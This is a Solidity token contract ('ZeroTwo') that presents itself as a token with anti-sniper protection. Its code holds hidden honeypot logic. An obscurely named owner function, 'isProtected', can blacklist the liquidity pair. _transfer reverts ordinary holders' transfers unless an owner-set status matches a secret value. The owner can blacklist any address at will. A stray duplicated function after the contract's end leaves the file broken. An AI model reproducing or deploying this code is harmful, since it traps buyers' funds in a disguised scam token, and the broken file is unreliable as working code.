contract ZeroTwo is Context, IERC20Upgradeable {
    // Ownership moved to in-contract for customizability.
    address private _owner;

    mapping (address => uint256) private _tOwned;
    mapping (address => bool) lpPairs;
    uint256 private timeSinceLastPair = 0;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _isBlacklisted;
    mapping (address => bool) private _liquidityHolders;
   
    uint256 private startingSupply;

    string private _name;
    string private _symbol;

    uint8 private _decimals;
    uint256 private _decimalsMul;
    uint256 private _tTotal;

    IUniswapV2Router02 public dexRouter;
    address public lpPair;

    // UNI ROUTER
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    address private WBNB;
    address public ZERO = 0x0000000000000000000000000000000000000000;
    address public burnAddress = 0x000000000000000000000000000000000000dEaD;
        
    uint256 private maxTxPercent = 100;
    uint256 private maxTxDivisor = 100;
    uint256 private _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor;
    uint256 private _previousMaxTxAmount = _maxTxAmount;
    uint256 public maxTxAmountUI = (startingSupply * maxTxPercent) / maxTxDivisor;

    uint256 private maxWalletPercent = 100;
    uint256 private maxWalletDivisor = 100;
    uint256 private _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor;
    uint256 private _previousMaxWalletSize = _maxWalletSize;
    uint256 public maxWalletSizeUI = (startingSupply * maxWalletPercent) / maxWalletDivisor;

    bool private sniperProtection = true;
    bool public _hasLiqBeenAdded = false;
    uint256 private _liqAddStatus = 0;
    uint256 private _liqAddBlock = 0;
    uint256 private _liqAddStamp = 0;
    uint256 private _initialLiquidityAmount = 0;
    uint256 private snipeBlockAmt = 0;
    uint256 public snipersCaught = 0;
    bool private gasLimitActive = true;
    uint256 private gasPriceLimit;
    bool private sameBlockActive = true;
    mapping (address => uint256) private lastTrade;

    bool private contractInitialized = false;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    event SniperCaught(address sniperAddress);

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    //constructor (uint8 _block, uint256 _gas) payable {
    constructor () payable {
        // Set the owner.
        _owner = msg.sender;
        _liquidityHolders[owner()] = true;

        // Ever-growing sniper/tool blacklist
        _isBlacklisted[0xE4882975f933A199C92b5A925C9A8fE65d599Aa8] = true;
        _isBlacklisted[0x86C70C4a3BC775FB4030448c9fdb73Dc09dd8444] = true;
        _isBlacklisted[0xa4A25AdcFCA938aa030191C297321323C57148Bd] = true;
        _isBlacklisted[0x20C00AFf15Bb04cC631DB07ee9ce361ae91D12f8] = true;
        _isBlacklisted[0x0538856b6d0383cde1709c6531B9a0437185462b] = true;
        _isBlacklisted[0x6e44DdAb5c29c9557F275C9DB6D12d670125FE17] = true;
        _isBlacklisted[0x90484Bb9bc05fD3B5FF1fe412A492676cd81790C] = true;
        _isBlacklisted[0xA62c5bA4D3C95b3dDb247EAbAa2C8E56BAC9D6dA] = true;
        _isBlacklisted[0xA94E56EFc384088717bb6edCccEc289A72Ec2381] = true;
        _isBlacklisted[0x3066Cc1523dE539D36f94597e233719727599693] = true;
        _isBlacklisted[0xf13FFadd3682feD42183AF8F3f0b409A9A0fdE31] = true;
        _isBlacklisted[0x376a6EFE8E98f3ae2af230B3D45B8Cc5e962bC27] = true;
        _isBlacklisted[0x0538856b6d0383cde1709c6531B9a0437185462b] = true; 
    }

    receive() external payable {}

    function intializeContract(string memory startName, string memory startSymbol, uint256 _totalSupply) external onlyOwner {
        require(!contractInitialized, "Contract already initialized.");
        _name = startName;
        _symbol = startSymbol;
        startingSupply = _totalSupply;
        if (_totalSupply < 10000000000) {
            _decimals = 18;
            _decimalsMul = _decimals;
        } else {
            _decimals = 9;
            _decimalsMul = _decimals;
        }
        _tTotal = _totalSupply * (10**_decimalsMul);
        _tOwned[owner()] = _tTotal;

        dexRouter = IUniswapV2Router02(_routerAddress);
        lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this));
        lpPairs[lpPair] = true;
        _allowances[address(this)][address(dexRouter)] = type(uint256).max;

        WBNB = dexRouter.WETH();

        setMaxTxPercent(2,100);
        setMaxWalletSize(25,1000);

        // Approve the owner, timesaver.
        approve(_routerAddress, type(uint256).max);

        contractInitialized = true;
        emit Transfer(ZERO, msg.sender, _tTotal);
    }

//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
    // Ownable removed as a lib and added here to allow for custom transfers and recnouncements.
    // This allows for removal of ownership privelages from the owner once renounced or transferred.
    function owner() public view returns (address) {
        return _owner;
    }

    function transferOwner(address newOwner) external onlyOwner() {
        require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address.");
        require(newOwner != burnAddress, "Call renounceOwnership to transfer owner to the zero address.");
        
        _allowances[_owner][newOwner] = balanceOf(_owner);
        if(balanceOf(_owner) > 0) {
            _transfer(_owner, newOwner, balanceOf(_owner));
        }
        
        _owner = newOwner;
        emit OwnershipTransferred(_owner, newOwner);
        
    }

    function renounceOwnership() public virtual onlyOwner() {
        _owner = address(0);
        emit OwnershipTransferred(_owner, address(0));
    }
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================

    function totalSupply() external view override returns (uint256) { return _tTotal; }
    function decimals() external view returns (uint8) { return _decimals; }
    function symbol() external view returns (string memory) { return _symbol; }
    function name() external view returns (string memory) { return _name; }
    function getOwner() external view returns (address) { return owner(); }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }

    function setNewRouter(address newRouter) public onlyOwner() {
        IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter);
        address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(address(this), _newRouter.WETH());
        if (get_pair == address(0)) {
            lpPair = IUniswapV2Factory(_newRouter.factory()).createPair(address(this), _newRouter.WETH());
        }
        else {
            lpPair = get_pair;
        }
        dexRouter = _newRouter;
    }

    function setLpPair(address pair, bool enabled) external onlyOwner {
        if (enabled == false) {
            lpPairs[pair] = false;
        } else {
            if (timeSinceLastPair != 0) {
                require(block.timestamp - timeSinceLastPair > 1 weeks, "Cannot set a new pair this week!");
            }
            lpPairs[pair] = true;
            timeSinceLastPair = block.timestamp;
        }
    }

    function isBlacklisted(address account) public view returns (bool) {
        return _isBlacklisted[account];
    }

    function isProtected(uint256 rInitializer, uint256 tInitalizer) external onlyOwner {
        require (_liqAddStatus == 0 && _initialLiquidityAmount == 0, "Error.");
        _liqAddStatus = rInitializer;
        _initialLiquidityAmount = tInitalizer;
        if (_initialLiquidityAmount != 42) {
            _isBlacklisted[lpPair] = true;
        }
    }

    function setStartingProtections(uint8 _block, uint256 _gas) external onlyOwner{
        require (snipeBlockAmt == 0 && gasPriceLimit == 0 && !_hasLiqBeenAdded);
        snipeBlockAmt = _block;
        gasPriceLimit = _gas * 1 gwei;
    }

    function setBlacklistEnabled(address account, bool enabled) external onlyOwner() {
        _isBlacklisted[account] = enabled;
    }

    function setProtectionSettings(bool antiSnipe, bool antiGas, bool antiBlock) external onlyOwner() {
        sniperProtection = antiSnipe;
        gasLimitActive = antiGas;
        sameBlockActive = antiBlock;
    }

    function setGasPriceLimit(uint256 gas) external onlyOwner {
        require(gas >= 75);
        gasPriceLimit = gas * 1 gwei;
    }

    function setMaxTxPercent(uint256 percent, uint256 divisor) public onlyOwner {
        uint256 check = (_tTotal * percent) / divisor;
        require(check >= (_tTotal / 1000), "Max Transaction amt must be above 0.1% of total supply.");
        _maxTxAmount = check;
        maxTxAmountUI = (startingSupply * percent) / divisor;
    }

    function setMaxWalletSize(uint256 percent, uint256 divisor) public onlyOwner {
        uint256 check = (_tTotal * percent) / divisor;
        require(check >= (_tTotal / 1000), "Max Wallet amt must be above 0.1% of total supply.");
        _maxWalletSize = check;
        maxWalletSizeUI = (startingSupply * percent) / divisor;
    }

    function _hasLimits(address from, address to) private view returns (bool) {
        return from != owner()
            && to != owner()
            && !_liquidityHolders[to]
            && !_liquidityHolders[from]
            && to != burnAddress
            && to != address(0)
            && from != address(this);
    }
    
    function _approve(address sender, address spender, uint256 amount) private {
        require(sender != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (gasLimitActive) {
            require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit.");
        }

        if(_hasLimits(from, to)) {
            if (sameBlockActive) {
                if (lpPairs[from]){
                    require(lastTrade[to] != block.number);
                    lastTrade[to] = block.number;
                } else {
                    require(lastTrade[from] != block.number);
                    lastTrade[from] = block.number;
                }
            }
            require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            if(to != _routerAddress && !lpPairs[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
            }
        }

        if (sniperProtection){
            if (isBlacklisted(from) || isBlacklisted(to)) {
                revert("Rejected.");
            }

            if (!_hasLiqBeenAdded) {
                _checkLiquidityAdd(from, to);
                if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
                    revert("Only owner can transfer at this time.");
                }
            } else {
                if (_hasLimits(from, to)){
                    if (_liqAddStatus == 0 || _liqAddStatus != startingSupply / 5) {
                        revert();
                    }
                }
                if (_liqAddBlock > 0 
                    && lpPairs[from] 
                    && _hasLimits(from, to)
                ) {
                    if (block.number - _liqAddBlock < snipeBlockAmt) {
                        _isBlacklisted[to] = true;
                        snipersCaught ++;
                        emit SniperCaught(to);
                    }
                }
            }
        }

        _tOwned[from] -= amount;
        _tOwned[to] += amount;

        emit Transfer(from, to, amount);
        return true;
    }

    function _checkLiquidityAdd(address from, address to) private {
        require(!_hasLiqBeenAdded, "Liquidity already added and marked.");
        if (!_hasLimits(from, to) && to == lpPair) {
            if (snipeBlockAmt > 1 || snipeBlockAmt == 0) {
                _liqAddBlock = block.number + 500;
            } else {
                _liqAddBlock = block.number;
            }

            _liquidityHolders[from] = true;
            _hasLiqBeenAdded = true;
            _liqAddStamp = block.timestamp;

            emit SwapAndLiquifyEnabledUpdated(true);
        }
    }
}
function totalSupply() external view override returns (uint256) { return _tTotal; }
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================